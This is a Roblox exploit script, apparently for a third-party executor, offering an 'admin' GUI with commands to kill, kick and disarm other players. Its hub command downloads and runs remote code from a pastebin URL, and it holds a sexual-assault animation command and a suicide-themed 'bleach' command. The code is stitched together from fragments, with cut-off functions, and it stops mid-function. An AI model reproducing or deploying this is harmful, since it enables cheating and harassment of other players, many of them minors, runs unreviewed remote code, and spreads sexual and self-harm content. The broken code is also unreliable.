Roblox Admins Free Working
Roblox Admins Free Working
-- Version: 2.82
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Open = Instance.new("TextButton")
local Admin = Instance.new("Frame")
local Buty = Instance.new("Frame")
local Buty_2 = Instance.new("Frame")
local Title = Instance.new("TextLabel")
local Promot = Instance.new("TextLabel")
local Admin_2 = Instance.new("TextButton")
local Games = Instance.new("TextButton")
local Close = Instance.new("TextButton")
local InfiniteYard = Instance.new("TextButton")
local Buty_3 = Instance.new("Frame")
local Options = Instance.new("TextLabel")
local Rocky2U = Instance.new("TextButton")
local Reviz = Instance.new("TextButton")
local N3xulis = Instance.new("TextButton")
local Prison = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.CoreGui
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Open.Name = "Open"
Open.Parent = ScreenGui
Open.BackgroundColor3 = Color3.new(1, 0, 0)
Open.Position = UDim2.new(0.0247831475, 0, 0.497153699, 0)
Open.Size = UDim2.new(0, 139, 0, 38)
Open.Font = Enum.Font.Cartoon
Open.Text = "Open"
Open.TextColor3 = Color3.new(0, 0, 0)
Open.TextSize = 30
Open.MouseButton1Down:connect(function()
Open.Visible = false
Admin.Visible = true
end)
Admin.Name = "Admin"
Admin.Parent = ScreenGui
Admin.BackgroundColor3 = Color3.new(1, 0, 0)
Admin.Position = UDim2.new(0.281288743, 0, 0.174573049, 0)
Admin.Size = UDim2.new(0, 352, 0, 342)
Admin.Visible = false
Buty.Name = "Buty"
Buty.Parent = Admin
Buty.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Buty.Size = UDim2.new(0, 352, 0, 32)
Buty_2.Name = "Buty"
Buty_2.Parent = Admin
Buty_2.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Buty_2.Position = UDim2.new(0, 0, 0.906432748, 0)
Buty_2.Size = UDim2.new(0, 352, 0, 32)
Title.Name = "Title"
Title.Parent = Admin
Title.BackgroundColor3 = Color3.new(1, 1, 1)
Title.BackgroundTransparency = 1
Title.Position = UDim2.new(-0.0198863633, 0, 0, 0)
Title.Size = UDim2.new(0, 352, 0, 32)
Title.Font = Enum.Font.Cartoon
Title.Text = "Admin's GUI"
Title.TextColor3 = Color3.new(0, 0, 0)
Title.TextScaled = true
Title.TextSize = 14
Title.TextWrapped = true
Promot.Name = "Promot"
Promot.Parent = Admin
Promot.BackgroundColor3 = Color3.new(1, 1, 1)
Promot.BackgroundTransparency = 1
Promot.Position = UDim2.new(0, 0, 0.906432748, 0)
Promot.Size = UDim2.new(0, 352, 0, 32)
Promot.Font = Enum.Font.Cartoon
Promot.Text = "Sub To - youtube.com/alexplayzyoutube"
Promot.TextColor3 = Color3.new(0, 0, 0)
Promot.TextScaled = true
Promot.TextSize = 14
Promot.TextWrapped = true
Admin_2.Name = "Admin"
Admin_2.Parent = Admin
Admin_2.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Admin_2.Position = UDim2.new(0, 0, 0.0935672522, 0)
Admin_2.Size = UDim2.new(0, 174, 0, 46)
Admin_2.Font = Enum.Font.Cartoon
Admin_2.Text = "Admin's"
Admin_2.TextColor3 = Color3.new(0, 0, 0)
Admin_2.TextScaled = true
Admin_2.TextSize = 14
Admin_2.TextWrapped = true
Games.Name = "Games"
Games.Parent = Admin
Games.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Games.Position = UDim2.new(0.494318187, 0, 0.0935672522, 0)
Games.Size = UDim2.new(0, 178, 0, 46)
Games.Font = Enum.Font.Cartoon
Games.Text = "Game's"
Games.TextColor3 = Color3.new(0, 0, 0)
Games.TextScaled = true
Games.TextSize = 14
Games.TextWrapped = true
Close.Name = "Close"
Close.Parent = Admin
Close.BackgroundColor3 = Color3.new(1, 0, 0)
Close.Position = UDim2.new(0.872159004, 0, 0, 0)
Close.Size = UDim2.new(0, 45, 0, 32)
Close.Font = Enum.Font.Cartoon
Close.Text = "X"
Close.TextColor3 = Color3.new(0, 0, 0)
Close.TextScaled = true
Close.TextSize = 14
Close.TextWrapped = true
Close.MouseButton1Down:connect(function()
Admin.Visible = false
Open.Visible = true
end)
loaded = false
function run()
local function writeF()
writefile("IY.txt", defaults)
wait(1)
local newjson = readfile("IY.txt")
local CREATEFILE = HttpService:JSONDecode(newjson)
colorR = CREATEFILE.colorR
colorG = CREATEFILE.colorG
colorB = CREATEFILE.colorB
cmdprefix = CREATEFILE.cmdprefix
suggestionstoggle = CREATEFILE.suggestionstoggle
allowfriends = CREATEFILE.allowfriends
JLnotify = CREATEFILE.JLnotify
Mseconds = CREATEFILE.Mseconds
Nfriends = CREATEFILE.Nfriends
cmdbarbind = CREATEFILE.cmdbarbind
chatsV = CREATEFILE.chatsV
whispersV = CREATEFILE.whispersV
commandsV = CREATEFILE.commandsV
aliasSave = CREATEFILE.aliasSave
loaded = true end
function pcWRITE()
local file, err = pcall(writeF)
if not file then
warn("READ/WRITE ERROR: "..err)
R_W = game:GetObjects("rbxassetid://01587976911")[1] R_W.Parent = game.CoreGui
function Click(mouse) R_W:Destroy()
for _, child in pairs(game.CoreGui:GetChildren()) do
if child.Name == "IYrun" then
child:Destroy() end end end
R_W.drag.PromptDialog.shadow.Exit.MouseButton1Down:connect(Click) end end
if writefileExploit() then
local function sfile()
local checktxt = readfile("IY.txt")
if checktxt == nil then pcWRITE() writeF()
else return end end
local success, message2 = pcall(sfile)
if success then
local json = readfile("IY.txt")
local LOADFILE = HttpService:JSONDecode(json)
colorR = LOADFILE.colorR
colorG = LOADFILE.colorG
colorB = LOADFILE.colorB
cmdprefix = LOADFILE.cmdprefix
suggestionstoggle = LOADFILE.suggestionstoggle
allowfriends = LOADFILE.allowfriends
JLnotify = LOADFILE.JLnotify
Mseconds = LOADFILE.Mseconds
Nfriends = LOADFILE.Nfriends
cmdbarbind = LOADFILE.cmdbarbind
chatsV = LOADFILE.chatsV
whispersV = LOADFILE.whispersV
commandsV = LOADFILE.commandsV
aliasSave = LOADFILE.aliasSave
loaded = true else
pcWRITE() writeF() end
else
colorR = 0.121569
colorG = 0.121569
colorB = 0.121569
cmdprefix = ';'
suggestionstoggle = true
allowfriends = true
JLnotify = true
Mseconds = '7'
Nfriends = true
cmdbarbind = ';'
chatsV = false
whispersV = false
commandsV = false
aliasSave = {}
loaded = true
end
repeat wait() until loaded == true
local gCoreGui = game:GetService('CoreGui') local gPlayers =
game:GetService('Players') local gLighting = game:GetService('Lighting') local
Player = gPlayers.LocalPlayer
local Mouse = Player:GetMouse() local char = Player.Character local LP =
gPlayers.LocalPlayer local gPlayers = game:GetService("Players") local _players =
game:GetService('Players') MSGhook = false local services={} local cmds={}
local std={} local loopkillT = {} local rainbowT = {} local disabletoolsT = {}
local banT = {} local adminT = {} function FIND_CHILD(PATH, NAME) if
PATH:FindFirstChild(NAME) then return true end return false end
services.events = {} local user = gPlayers.LocalPlayer local bringT = {} agelock =
nil isagelocked = false local scriptprefix='\\'
local split=" " slock = false
function updatefile()
if writefileExploit() then
local update = {
colorR = colorR;
colorG = colorG;
colorB = colorB;
cmdprefix = cmdprefix;
suggestionstoggle = suggestionstoggle;
allowfriends = allowfriends;
JLnotify = JLnotify;
Mseconds = Mseconds;
Nfriends = Nfriends;
cmdbarbind = cmdbarbind;
chatsV = chatsV;
whispersV = whispersV;
commandsV = commandsV;
aliasSave = aliasSave
}
local updated = HttpService:JSONEncode(update)
wait(0.1)
writefile("IY.txt", updated) end end
function isNumber(str)
return tonumber(str) ~= nil end
function msghook()
for _, child in pairs( workspace:GetChildren()) do
if MSGhook == false and child.ClassName == "Message" and child.Name ~= "IYmessage"
then
child.Name = "IYmessage" child.Text = '' MSGhook = true end end
if workspace:FindFirstChild("IYmessage") then MSGhook = true
else MSGhook = false end end
game:GetService("RunService").RenderStepped:Connect(function()
game:GetService("GuiService"):SetGlobalGuiInset(0,72,0,0)
if r15noclip then
if LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid:ChangeState(11) end end
if LP.Character and LP.Character:FindFirstChild('Humanoid') then
LP.Character.Humanoid.Died:connect(function() FLYING = false end)
if MSGhook == true and workspace:FindFirstChild("IYmessage") then
if workspace.IYmessage.Text == '' then
for _, child in pairs( LightingService:GetChildren()) do
if child.Name == "IYmblur" then
child:Destroy() end end end
else MSGhook = false end
for i,v in pairs(_players:GetPlayers()) do
if FindTable(loopkillT, v.Name) then
v.Character:BreakJoints() end
if FindTable(disabletoolsT, v.Name) and v:FindFirstChild('Backpack')
then
v.Backpack:Destroy()
for i,n in pairs(v.Character:GetChildren()) do
if n:IsA('Tool') or n:IsA('HopperBin') then
n:destroy() end end end
if FindTable(rainbowT, v.Name) then
v.Neutral = false
v.TeamColor = BrickColor.random()
end end end end)
LightingService = game:GetService("Lighting")
origsettings = {abt = LightingService.Ambient, oabt =
LightingService.OutdoorAmbient, brt = LightingService.Brightness, time =
LightingService.TimeOfDay, fclr = LightingService.FogColor, fe =
LightingService.FogEnd, fs = LightingService.FogStart}
function lponly(player) game:GetService('Chat'):Chat(player.Character, 'That is a
LocalPlayer only command!', 2) end
function FindTable(Table, Name)
for i,v in pairs(Table) do
if v == Name then
return true
end end
return false
end
function GetInTable(Table, Name)
for i = 1, #Table do
if Table[i] == Name then
return i
end end
return false end
_players.PlayerRemoving:connect(function(player)
for a,b in pairs(injail) do if b == player.Name then table.remove(injail, a)
workspace["JAIL_" .. player.Name]:Destroy() end end
for a,b in pairs(hastab) do if b == player.Name then table.remove(hastab, a)
workspace[player.Name .. "TAB"]:Destroy() end end
if JLnotify == true and Nfriends == true and player:IsFriendsWith(user.userId) then
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = player.Name,
Text = 'has left the server.\n[AGE: ' ..player.AccountAge..
']',
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
elseif JLnotify == true and Nfriends == false then
game:FindService('StarterGui'):SetCore('SendNotification', {
Title = player.Name,
Text = 'has left the server.\n[AGE: ' ..player.AccountAge..
']',
Icon = [[http://www.roblox.com/Thumbs/Avatar.ashx?
x=100&y=100&Format=Png&userName=]]..player.Name..[[&RAND]] ..
math.random(1,100000000),
Duration = 5,
})
end
end)
FLYING = false
iyflyspeed = 1
function sFLY() -- from rocky2u cmdscript
repeat wait() until LP and LP.Character and
LP.Character:FindFirstChild('HumanoidRootPart') and
LP.Character:FindFirstChild('Humanoid')
repeat wait() until Mouse
local T = LP.Character.HumanoidRootPart
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = 0
std.inTable=function(tbl,val)
if tbl==nil then return false end
local exec=function(str)
spawn(function()
local script, loaderr = loadstring(str)
if not script then
error(loaderr)
else
script()
end
end)
end
local findCmd=function(cmd_name)
for i,v in pairs(cmds)do
if v.NAME:lower()==cmd_name:lower() or
std.inTable(v.ALIAS,cmd_name:lower())then
return v
end
end
end
local getCmd=function(msg)
local cmd,hassplit=std.endat(msg:lower(),split)
if hassplit then
return {cmd,true}
else
return {cmd,false}
end
end
local getprfx=function(strn)
if strn:sub(1,string.len(cmdprefix))==cmdprefix then
return{'cmd',string.len(cmdprefix)+1}
elseif strn:sub(1,string.len(scriptprefix))==scriptprefix then
return{'exec',string.len(scriptprefix)+1}
end return
end
function dragGUI(gui)
spawn(function()
local UserInputService = game:GetService("UserInputService")
local dragging
local dragInput
local dragStart
local startPos
local function update(input)
local delta = input.Position - dragStart
gui:TweenPosition(UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y), "InOut", "Quart", 0.04, true, nil)
end
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or
input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
UserInputService.InputChanged:Connect(function(input)
if input == dragInput and dragging then
update(input)
end
end)
end)
end
maincolor = Color3.new(colorR, colorG, colorB)
function updatecolors(color)
colorR = maincolor.r colorG = maincolor.g colorB = maincolor.b
maincolor = color
for _, child in pairs( game.CoreGui.RobloxGui:GetChildren()) do
if child.Name == "TopBarContainer" then
child.BackgroundColor3 = color
end end
FeedbackMain.BackgroundColor3 = maincolor
MAIN.BackgroundColor3 = maincolor
bar.BackgroundColor3 = maincolor
game.CoreGui.sugg.suggestions.BackgroundColor3 = color
if game.CoreGui:FindFirstChild('Updates') then
game.CoreGui.Updates.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Updates.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Sinfo') then
game.CoreGui.Sinfo.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Sinfo.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('cp') then
game.CoreGui.cp.Frame.holder.bar.BackgroundColor3 = color
game.CoreGui.cp.Frame.holder.FeedbackMain.BackgroundColor3 = color
game.CoreGui.cp.Frame.holder.size.MAIN.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Bans') then
game.CoreGui.Bans.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Bans.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Pos') then
game.CoreGui.Pos.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Pos.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Admins') then
game.CoreGui.Admins.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Admins.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Logs') then
game.CoreGui.Logs.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Logs.drag.PromptDialog.shadow.BackgroundColor3 = color end
if game.CoreGui:FindFirstChild('Aliases') then
game.CoreGui.Aliases.drag.PromptDialog.ContainerFrame.BackgroundColor3 = color
game.CoreGui.Aliases.drag.PromptDialog.shadow.BackgroundColor3 = color end
for _, child in pairs( game.CoreGui:GetChildren()) do
if child.Name == "Models" then
game.CoreGui.Models.drag.PromptDialog.ContainerFrame.BackgroundColor3 =
color
game.CoreGui.Models.drag.PromptDialog.shadow.BackgroundColor3 = color
end
end
for _, child in pairs( game.CoreGui:GetChildren()) do
if child.Name == "Audios" then
game.CoreGui.Audios.drag.PromptDialog.ContainerFrame.BackgroundColor3 =
color
game.CoreGui.Audios.drag.PromptDialog.shadow.BackgroundColor3 = color
end
end
end
function respawn(plr)
local M = Instance.new('Model', workspace) M.Name = 'respawn_iy'
local H = Instance.new('Humanoid', M)
local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false
T.Transparency = 1
plr.Character = M end
local dummy =
game:GetService("InsertService"):LoadLocalAsset("rbxassetid://1498924930")
WL =
{'IoIman616','Conceptual_Nullifier','Thomasbudge','N3xuI','MoonlightTears','Desired
Username1233','marie',LP.Name}
function kickF(plr)
spawn(function()
if plr.Parent ~= nil then
if FindTable(WL, plr.Name) then Notify('Error: '..plr.Name..' is whitelisted') else
local newChar = dummy:Clone() newChar.Parent = workspace
newChar.HumanoidRootPart.Position = Vector3.new(math.random(999000, 1001000),
10000, 0)
for i = 1,4 do
local Plat = Instance.new('SkateboardPlatform', newChar)
Plat.Position = newChar.HumanoidRootPart.Position
Plat.Name = 'IYplat'
Plat.Size = Vector3.new(10, 1.2, 10)
Plat.Transparency = 1 end
plr.Character = newChar
local PART = Instance.new('Part', newChar)
PART.CFrame = newChar.HumanoidRootPart.CFrame - Vector3.new(0, 3, 0)
PART.Size = Vector3.new(10, 1.2, 10)
PART.Anchored = true
PART.Transparency = 1
if newChar:FindFirstChild("SkateboardPlatform") then
newChar.SkateboardPlatform.CFrame = newChar.HumanoidRootPart.CFrame end
wait(0.4)
if newChar then newChar:Destroy() end
kickF(plr) end
end end) end
function refresh(plr)
spawn(function()
local rpos = plr.Character.HumanoidRootPart.Position
wait(0.1) plr.Character:Destroy() respawn(plr) wait(0.1)
repeat wait() until plr.Character ~= nil and
plr.Character:FindFirstChild('HumanoidRootPart')
plr.Character:MoveTo(rpos) end) end
local foundList = {}
local foundNames = {}
for i,v in pairs(foundList) do table.insert(foundNames,v.Name) end
return foundNames
end
function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F)
local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent
funcw.Part0 = zPart0 funcw.Part1 = zPart1
if (zCoco) then
funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
else
funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
end
return funcw
end
function _G.msg(txt)
spawn(function()
msghook()
if MSGhook == true then
workspace.IYmessage.Text = ''
wait(0.1)
local b = Instance.new("BlurEffect", LightingService)
b.Name = "IYmblur"
b.Size = 18
workspace.IYmessage.Text = txt
wait(Mseconds)
b:Destroy()
if workspace.IYmessage.Text == txt then
workspace.IYmessage.Text = '' end
elseif MSGhook == false then
execCmd("loadm")
repeat wait() until workspace:FindFirstChild("IYmessage")
workspace.IYmessage.Text = ''
wait(0.1)
local b = Instance.new("BlurEffect", LightingService)
b.Name = "IYmblur"
b.Size = 18
workspace.IYmessage.Text = txt
wait(Mseconds)
b:Destroy()
if workspace.IYmessage.Text == txt then
workspace.IYmessage.Text = '' end
end
end)
end
function bleach(plr)
spawn(function()
local char = plr.Character
local hit1 = Instance.new("Sound", workspace)
hit1.SoundId = "http://roblox.com/asset?id=145486953"
local hit = Instance.new("Sound", workspace)
hit.SoundId = "http://roblox.com/asset?id=178646271"
local Bleach = Instance.new("Part", char["Left Arm"])
Bleach.CanCollide = false
local Mesh = Instance.new("SpecialMesh", Bleach)
Mesh.MeshId = "http://roblox.com/asset?id=483388971"
Mesh.Scale = Vector3.new(0.005, 0.005, 0.005)
Mesh.TextureId = "http://roblox.com/asset?id=520016684"
local Handy = Instance.new("Weld", Bleach)
Handy.Part0 = Bleach
Handy.Part1 = char["Left Arm"]
Handy.C0 = CFrame.new(0.5,1.8,0)
Handy.C1 = CFrame.Angles(0,4,1)
local drink = Instance.new("Sound", char.Head)
drink.SoundId = "http://roblox.com/asset?id=10722059"
wait(3)
game.Chat:Chat(char.Head,"I need to die","Red")
for i = 1,10 do
wait()
char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0
* CFrame.Angles(-0.018,0,0)
Handy.C0 = Handy.C0 * CFrame.new(-0.05,-0.07,0.09)
Handy.C0 = Handy.C0 * CFrame.Angles(0.12,0,0)
char.Torso["Left Shoulder"].C0 = char.Torso["Left Shoulder"].C0 *
CFrame.Angles(0.2,0,-0.1)
end
drink:Play()
wait(3.4)
drink:Stop()
for i = 1,10 do
wait()
char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0
* CFrame.new(0,-0.50,0)
char.HumanoidRootPart.RootJoint.C0 = char.HumanoidRootPart.RootJoint.C0
* CFrame.Angles(0.175,0,0)
Handy.C0 = Handy.C0 * CFrame.new(0.05,0.07,-0.09)
Handy.C0 = Handy.C0 * CFrame.Angles(-0.1,0,0)
char.Torso["Left Shoulder"].C0 = char.Torso["Left Shoulder"].C0 *
CFrame.Angles(-0.15,-0.04,0.2)
char.Torso["Right Shoulder"].C0 = char.Torso["Right Shoulder"].C0 *
CFrame.Angles(-0.05,0.03,0)
char.Torso["Right Hip"].C0 = char.Torso["Right Hip"].C0 *
CFrame.Angles(-0.02,0,0)
char.Torso["Left Hip"].C0 = char.Torso["Left Hip"].C0 * CFrame.Angles(-
0.01,0,0)
end
wait(0.01)
char.Torso.Anchored = true
char["Left Arm"].Anchored = true
char["Right Arm"].Anchored = true
char["Left Leg"].Anchored = true
char["Right Leg"].Anchored = true
char.Head.Anchored = true
hit:Play()
hit1:Play()
wait(4)
local bl00d = Instance.new("Part", char.Head)
bl00d.Size = Vector3.new(0.1,0.1,0.1)
bl00d.Rotation = Vector3.new(0,0,-90)
bl00d.CanCollide = false
bl00d.Anchored = true
bl00d.BrickColor = BrickColor.new("Maroon")
bl00d.Position = char.Head.Position
bl00d.CFrame = bl00d.CFrame * CFrame.new(0.43,-0.65,0)
bl00d.Shape = "Cylinder"
bl00d.Material = "Pebble"
for i = 1,100 do
wait()
bl00d.Size = bl00d.Size + Vector3.new(0,0.05,0.05)
end
wait(1)
char.Humanoid.Health = 0
end)
end
function rape(victim, speaker) -- from rocky2u cmdscript
spawn(function()
local P1 = game:GetService("Players")[speaker].Character.Torso
local V1 = game:GetService("Players")[victim].Character.Torso
V1.Parent.Humanoid.PlatformStand = true
P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1)
LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0)
LA1.Name = 'Left Shoulder'
P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1)
RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0)
RS1.Name = 'Right Shoulder'
V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1)
LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0)
LS2.Name = 'Left Shoulder'
V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1)
RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0)
RS2.Name = 'Right Shoulder'
V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0
= V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name =
'Left Hip'
V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1)
RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0)
RH2.Name = 'Right Hip'
local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0
D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball'
D.Size = Vector3.new(1, 1, 1)
local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere'
DM1.Scale = Vector3.new(0.4, 0.4, 0.4)
fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0)
local D2 = D:Clone() D2.Parent = P1
fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0)
local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0
C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.Size =
Vector3.new(0.4, 1.3, 0.4)
fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2),
math.rad(-80), 0, 0)
local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink')
C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1
fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10),
0, 0)
local CM = Instance.new('CylinderMesh', C)
local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface
= 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape =
'Ball' BL.Size = Vector3.new(1, 1, 1)
local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere'
DM2.Scale = Vector3.new(1.2, 1.2, 1.2)
fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0)
local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface
= 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape =
'Ball' BR.Size = Vector3.new(1, 1, 1)
local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere'
DM3.Scale = Vector3.new(1.2, 1.2, 1.2)
fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0)
local BLN = Instance.new('Part', V1) BLN.TopSurface = 0
BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor =
BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1)
local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere'
DM4.Scale = Vector3.new(0.2, 0.2, 0.2)
fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0)
local BRN = Instance.new('Part', V1) BRN.TopSurface = 0
BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor =
BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1)
local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere'
DM5.Scale = Vector3.new(0.2, 0.2, 0.2)
fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0)
LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1
= CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0)
LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0)
RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0)
LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1
= CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0)
if P1:FindFirstChild('weldx') then P1.weldx:destroy() end
WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0,
0)
local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) *
CFrame.Angles(math.rad(-210), math.rad(180), 0)
end)
spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 *
CFrame.new(0, -0.3, 0) end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0)
end end end)
end
addcmd('877241loadalias','dab',{},
function(args,speaker)
if #args < 2 then return end
local cmd = string.lower(args[1])
local alias = string.lower(args[2])
for i,v in pairs(cmds) do
if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
customAlias[alias] = v
updatealiases()
break
end
end
end)
addcmd('removealias','Removes a custom alias',{},
function(args,speaker)
if #args < 1 then return end
local alias = string.lower(args[1])
if customAlias[alias] then
local cmd = customAlias[alias].NAME
customAlias[alias] = nil
for i,v in pairs(aliasSave) do
if v.ALIAS == tostring(alias) then
table.remove(aliasSave, i)
end end
Notify("Removed the alias "..alias.." from "..cmd)
updatefile()
updatealiases()
end
end)
function hub()
if not game.CoreGui:FindFirstChild('ScriptHub') then
loadstring(game:HttpGet(('https://pastebin.com/raw/VvDQgSZT'),true))() end end
addcmd('hub','opens script hub',{'scripts'},
function(args, speaker)
if speaker.userId ~= LP.userId then
lponly(speaker) else
hub()
end end)
addcmd('ff','gives ff to player',{},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
Instance.new("ForceField", pchar)
end
end)
function spawnrain(mesh,texture)
spawn(function()
for i,v in pairs(gPlayers:GetChildren()) do
if v.Character ~= nil and v.Character:FindFirstChild('HumanoidRootPart') then
if raining == true then
local rain = Instance.new("Part",workspace)
rain.CanCollide = true
local m = Instance.new("SpecialMesh",rain)
m.MeshId = "http://www.roblox.com/asset/?id="..mesh
m.TextureId = "http://www.roblox.com/asset/?id="..texture
rain.CFrame = v.Character.HumanoidRootPart.CFrame + Vector3.new(math.random(-
250,250),100,math.random(-250,250))
wait(5) rain:Destroy()
end
end
end
end)
end
raining = false
addcmd('rain','make it rain a mesh',{},
function(args, speaker)
raining = true
repeat
wait(0.5)
spawnrain(args[1],args[2])
until raining == false
end)
addcmd('uncape','Removes cape',{'nocape'},
function(args, speaker)
local players = getPlayer(args[1], speaker)
for i,v in pairs(players)do
local pchar=_char(v)
for _, child in pairs( pchar:GetChildren()) do
if child.Name == "IYcape" then
child:Destroy() end end
end
end)
local fa = false
local cam = workspace.CurrentCamera
local cam1 = 0
local cam2 = 0
local cam3 = 0
local k1 = false
local k2 = false
local k3 = false
local k4 = false
local k5 = false
local k6 = false
cs = 0.5
function movecam()
local fc =
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
if fa == false then
repeat
if
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC') then
local fp = fc.Position
fc.CFrame =
CFrame.new(Vector3.new(fp.X,fp.Y+cam3,fp.Z),cam.CFrame.p)*CFrame.new(cam2,0,cam1)
fa = true
end
game:GetService('RunService').RenderStepped:Wait()
until not
game:GetService('Players').LocalPlayer.Character:FindFirstChild('xFC')
fa = false
end
end
function kp1(inputObject, gameProcessedEvent)
